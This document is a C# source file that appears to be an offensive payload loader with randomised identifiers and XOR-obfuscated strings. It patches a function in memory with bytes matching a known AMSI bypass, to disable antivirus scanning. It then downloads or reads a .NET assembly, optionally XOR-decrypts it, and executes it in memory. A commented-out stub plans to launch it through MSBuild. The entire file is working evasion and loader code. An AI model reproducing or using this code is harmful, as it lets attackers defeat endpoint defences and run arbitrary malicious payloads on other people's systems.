using System; using System.IO; using System.Net; using System.Text; using System.Reflection; using System.Runtime.InteropServices; using System.Linq; using System.Threading; //This if for MSBuild LOL bin stuff later //using Microsoft.Build.Framework; //using Microsoft.Build.Utilities; public class TugginglyAwabi{ private static object[] DomesticizeVilify = null; [DllImport("kernel32")] private static extern IntPtr LoadLibrary(string AmmoniuriaKetine); [DllImport("kernel32")] private static extern bool VirtualProtect(IntPtr AlphabetizesChifforobes, UIntPtr UnlottedHydrochelidon, uint ParseCrackpotism, out uint GambianInsultproof); [DllImport("kernel32")] private static extern IntPtr GetProcAddress(IntPtr ResituatedMayhems, string AldolizedShochets); private static IntPtr OverpotentnessThwacker(IntPtr NubeculaeConcretional) { uint UnraisedPinakotheke = 0; if (VirtualProtect(NubeculaeConcretional, (UIntPtr)ReleasementApyrotype().Length, 0x40, out UnraisedPinakotheke)) { return NubeculaeConcretional; } else { return (IntPtr)0; } } private static object MismanagedRegistral(MethodInfo DiscophileMidmost) { if (AkinSupramortal(DiscophileMidmost) == DiscophileMidmost.ReflectedType) return DiscophileMidmost.Invoke(null, DomesticizeVilify); return DomesticizeVilify[0]; } private static void HaemsCrepeiest() { IntPtr NubeculaeConcretional = OverpotentnessThwacker(SandpeepsInterventralia()); if (NubeculaeConcretional != (IntPtr)0) { Marshal.Copy(ReleasementApyrotype(), 0, NubeculaeConcretional, ReleasementApyrotype().Length); Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FE07TDoWBg0GFjQTBwIJAG8WBxgKCwAKQyQKJjtP"), "OfflicenceGurney"))); } else { Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("GE4uRTcMEQ0cOh4ITjUiPQpPNSQuISAq"), "CosegmentSponton"))); } } private static Type AkinSupramortal(MethodInfo DiscophileMidmost) { return DiscophileMidmost.ReflectedType; } private static string PhillTilter(string MayacaStarvelings, bool DefigureDeathbed) { if (DefigureDeathbed) MayacaStarvelings = Encoding.UTF8.GetString(Convert.FromBase64String(MayacaStarvelings)); if (MayacaStarvelings.Trim().ToLower().Equals(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("LQ=="), "UnderassessmentChymify")))) Environment.Exit(0); return MayacaStarvelings; } private static byte[] DamndestsKrapina(byte[] MayacaStarvelings, string TinererSemibolshevized) { //byte[] keyBytes = Encoding.UTF8.GetBytes(TinererSemibolshevized); byte[] ShortcomerCalculationBytes = new byte[MayacaStarvelings.Length]; for (int i = 0; i < MayacaStarvelings.Length; i++) { ShortcomerCalculationBytes[i] = (byte)(MayacaStarvelings[i] ^ Encoding.UTF8.GetBytes(TinererSemibolshevized)[i % Encoding.UTF8.GetBytes(TinererSemibolshevized).Length]); } return ShortcomerCalculationBytes; } private static byte[] ReleasementApyrotype() { if (System.Environment.Is64BitOperatingSystem) return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; } private static MethodInfo CanajongBathymeter(Assembly asm) { return asm.EntryPoint; } public static void Main(string[] args) { Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CEk4UBYjHgU8AhAMB3NERQ4pFxwLYh1GRiI2HCkfCQEXFg=="), "ShepherdRefel"))); int HyperidealisticallyWalkovers = (Convert.ToInt32(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("ckpX"), "ArchprincePrechoroid"))) * Convert.ToInt32(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("cQ=="), "IncumbrancesManifestatively")))); string SeverestEst = ""; string[] CosmopoliteMoran = new string[] { }; bool OofyProhydrotropic = false; bool ArgusianusAssociating = false; string PreexpeditionMucronated = ""; if (args.Length > 0) { foreach (string argument in args) { if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("a18DQls="), "FratorityIsthmic")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("eg1CQA=="), "WottethPhytane"))) { OofyProhydrotropic = true; Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("GUQySzIEA1ASIggGHgwMHR9JEh8nTy0KAA1ZRFM1ARAcDQcNQEkXCCEACwIdD08EGzUCUxwHQh0EDFMLLhY="), "BookshopsPossibilism"))); } if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("bhcBGA=="), "ConjuredToxicopathy")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("YEIWBh4="), "MonilialesAiluromania"))) { ArgusianusAssociating = true; int GesanGlucose = Array.IndexOf(args, argument) + 1; if (GesanGlucose < args.Length) { string FendConnected = args[GesanGlucose]; if (OofyProhydrotropic) PreexpeditionMucronated = Encoding.UTF8.GetString(Convert.FromBase64String(FendConnected)); else PreexpeditionMucronated = FendConnected; } Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("EkU5RScJChwYEhgMAAJTKxo8UgoMARcdORoBAUMOAAAAEBVFGxYaHTJOGQobQkIfeRND"), "IndeclinablenessUnrobbed")), PreexpeditionMucronated); } if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("bh8PBxw="), "ConstruableUnmineralized")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("eFkcABMJ"), "UtlagaryAreolate"))) { int GesanGlucose = Array.IndexOf(args, argument) + 1; if (GesanGlucose < args.Length) { string CompromisedLineary = args[GesanGlucose]; if (OofyProhydrotropic) SeverestEst = Encoding.UTF8.GetString(Convert.FromBase64String(CompromisedLineary)); else SeverestEst = CompromisedLineary; } } if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("aA8GDwE="), "EnthrallerNonrecuperativeness")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("f0gRFxUe"), "RepermissionInterestingly"))) { int MecopteraNonsingularity = Array.IndexOf(args, argument) + 1; int SecundumNovelistically = args.Length - MecopteraNonsingularity; CosmopoliteMoran = new String[SecundumNovelistically]; for (int i = 0; i < SecundumNovelistically; i++) { string CompromisedLinearyArgs = args[MecopteraNonsingularity + i]; if (OofyProhydrotropic) CosmopoliteMoran[i] = Encoding.UTF8.GetString(Convert.FromBase64String(CompromisedLinearyArgs)); else CosmopoliteMoran[i] = CompromisedLinearyArgs; } } } if (string.IsNullOrEmpty(SeverestEst)) { PiercingVessel(); Environment.Exit(0); } DaduPailou(SeverestEst, CosmopoliteMoran, ArgusianusAssociating, PreexpeditionMucronated, HyperidealisticallyWalkovers); Environment.Exit(0); } while (true) { Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("ElEzRTsYEQERYTpSCAZBDAcaaQgHAB4SQQAKYQcKCBxA"), "InnervateAbrahamic"))); Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CEotRTsbSRMZCEkHCyYaBlQLAgYJV0ZzEB4GHQwMFlVbSRdKOE9fSkk="), "SuperhirudineVorticular"))); OofyProhydrotropic = BayaderePatroiophobia(Console.ReadKey(false).Key); Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("C00yUyYeGRYVTBwYNwRBHRtHGh4IcF9RUw=="), "ProsopicallyClarigold"))); SeverestEst = PhillTilter(Console.ReadLine(), OofyProhydrotropic); Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("DlE7RSgAQRYEAE4VEgovBwgJRRYEIQ9GPS4hQQcCBhwcAwcmDElSRQtKO05LW0E="), "UnfeasablenessChimere"))); ArgusianusAssociating = BayaderePatroiophobia(Console.ReadKey(false).Key); if (ArgusianusAssociating) { Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("GlEpSTsLAAAWTB0LBE4bICdSCgIcYUNKSQ=="), "AntirepublicanCourage"))); PreexpeditionMucronated = PhillTilter(Console.ReadLine(), OofyProhydrotropic); } Console.WriteLine("[?] Input payload args (optional) -> "); CosmopoliteMoran = PhillTilter(Console.ReadLine(), OofyProhydrotropic).Split(' '); if (SeverestEst.Length > 0) { DaduPailou(SeverestEst, CosmopoliteMoran, ArgusianusAssociating, PreexpeditionMucronated, HyperidealisticallyWalkovers); } } } private static byte[] SuperheroesFormulisation(string TapisesReimpact, FileMode VellinchChechakos) { byte[] ShortcomerCalculation = null; using (FileStream fs = new FileStream(TapisesReimpact, VellinchChechakos, FileAccess.Read)) { ShortcomerCalculation = new byte[fs.Length]; fs.Read(ShortcomerCalculation, 0, (int)fs.Length); } return ShortcomerCalculation; } private static Assembly CoffeehousesLagoonside(byte[] RoseousLandslide) { return Assembly.Load(RoseousLandslide); } private static byte[] UnequivalveScalares(string url) { byte[] BimetallicMottramite = null; using (WebClient SnowploughApparition = new WebClient()) { SnowploughApparition.Credentials = CredentialCache.DefaultCredentials; BimetallicMottramite = SnowploughApparition.DownloadData(new Uri(url)); } return BimetallicMottramite; } public static int QuinolylPaleophytological(int JowelApplies) { var LinotyperNavet = ServicePointManager.SecurityProtocol; LinotyperNavet = (SecurityProtocolType)JowelApplies; return JowelApplies; } private static void NeritoidPhalangiidae(byte[] MicropathologicalAktistete) { HaemsCrepeiest(); MismanagedRegistral(CanajongBathymeter(CoffeehousesLagoonside(MicropathologicalAktistete))); } private static IntPtr SandpeepsInterventralia() { return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("JhQdCEsHAwA="), "GynaecolRediscountable"))), Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FgIcDSQCEwsOGg8IBh4="), "WoodwareLoincloth"))); } private static void TwankleUnsynchronised(byte[] MicropathologicalAktistete, string PreexpeditionMucronated) { HaemsCrepeiest(); MismanagedRegistral(CanajongBathymeter(CoffeehousesLagoonside(DamndestsKrapina(MicropathologicalAktistete, PreexpeditionMucronated)))); } private static void DaduPailou(string NeedmentPectoriloquy, string[] PhenoplasticConduced, bool ArgusianusAssociatingoded = false, string PreexpeditionMucronated = "", int PalpatingParenthesizes = 0) { QuinolylPaleophytological(PalpatingParenthesizes); if (!string.IsNullOrEmpty(string.Join(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Zg=="), "FilibranchiaReproof")), PhenoplasticConduced))) Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("EE44Tjs3P1w1MhktTFtO"), "KeennessesMelancholia")) + NeedmentPectoriloquy + Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FBwXGQwQHR0RTF9O"), "UnplausiblenessWilli")) + string.Join(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Zg=="), "FilibranchiaReproof")), PhenoplasticConduced)); else { Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("EE44Tjs3P1w1MhktTFtO"), "KeennessesMelancholia")) + NeedmentPectoriloquy + Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FBwXGQwQHR0RTF9O"), "UnplausiblenessWilli")) + string.Join(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Zg=="), "FilibranchiaReproof")), PhenoplasticConduced)); } DomesticizeVilify = new object[] { PhenoplasticConduced }; if (ArgusianusAssociatingoded && NeedmentPectoriloquy.ToLower().StartsWith(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("OwEYAA=="), "SulphurizingFutilely")))) { TwankleUnsynchronised(UnequivalveScalares(NeedmentPectoriloquy), PreexpeditionMucronated); } else if (!ArgusianusAssociatingoded && NeedmentPectoriloquy.ToLower().StartsWith(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("OwEYAA=="), "SulphurizingFutilely")))) { NeritoidPhalangiidae(UnequivalveScalares(NeedmentPectoriloquy)); } else if (!ArgusianusAssociatingoded && !NeedmentPectoriloquy.ToLower().StartsWith(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("OwEYAA=="), "SulphurizingFutilely")))) NeritoidPhalangiidae(SuperheroesFormulisation(NeedmentPectoriloquy, FileMode.Open)); else TwankleUnsynchronised(SuperheroesFormulisation(NeedmentPectoriloquy, FileMode.Open), PreexpeditionMucronated); } private static void PiercingVessel() { Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("HxwXHjZRSQ=="), "JovySkiagram"))); Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("HRYAAxZRSTV9A1hdM0U6QzAKE0RPAAwXbjxORB4EFQZoWQMNHQobFw8RDx0GW0E1ZQQTAwBLVQw5Dw8bFzoAHC8WXzk="), "HeadskinPaninean"))); Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CBFfEFNRVGwqABsaHwEABRVMCRkSM0UCExcEAykRFR1TGQEKDRoNGxwdM0UGGgQRTi0JHE8cBAcLFlkcDgcSOQAGFxcWTi0XFU8RERwLUk1MChsQOwEXFks="), "TerreenLepospondylous"))); Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("DBteDBwCUkUhHx0NPwEeDQlTGQQiDh4RBxUaRQcBDQ0zDgQFCxRJETgOB1QRGQYEHBZJAjkDFR9FEhsAcDc8JlMVBgYcFhkQNQteTCgGGhFwDRZUFR8ECQEYDABwDQlMERsMRQggIVQXFQsXFx8dDT8BUAcACkc="), "PostsphenoidPoplesie"))); Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Dw1DERkRG3RFOhIcCw4ZPAsXQQgEAS8IEgcXHUFNGhcKCBsEBysWVwcaCk8dMg0GTVgAGjoNEgFSAwAOMhVODgpFEm4wJT9eTwALcw0GBFgHGiAEBQpSGwBNPxYPBVY="), "SynaxesNewsroom"))); Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CRpEDxYSEF9ECxkVCgMPHRUFQyUPGw8JEBcAFmQcEgYIQQcbSRM0HRpOBQcEEAkhBxUQTBUcVB0LME4FAQURBgFEJgAPAh4YXVQkFiYaSQwBVQUKCCgGFgYIQRENSQI5AkkPFhIWCAEqHRJDCg4BVB0LME4LBwoUERxK"), "UninducedDiaclastic"))); } private static bool BayaderePatroiophobia(ConsoleKey RethresherFairishly) { if (RethresherFairishly == ConsoleKey.X) Environment.Exit(0); return (RethresherFairishly == ConsoleKey.Y); } /* //This is for MSBuild later public class ClassExample : Task, ITask { public override bool Execute() { TugginglyAwabi.Main(new string[] { }); return true; } } */ }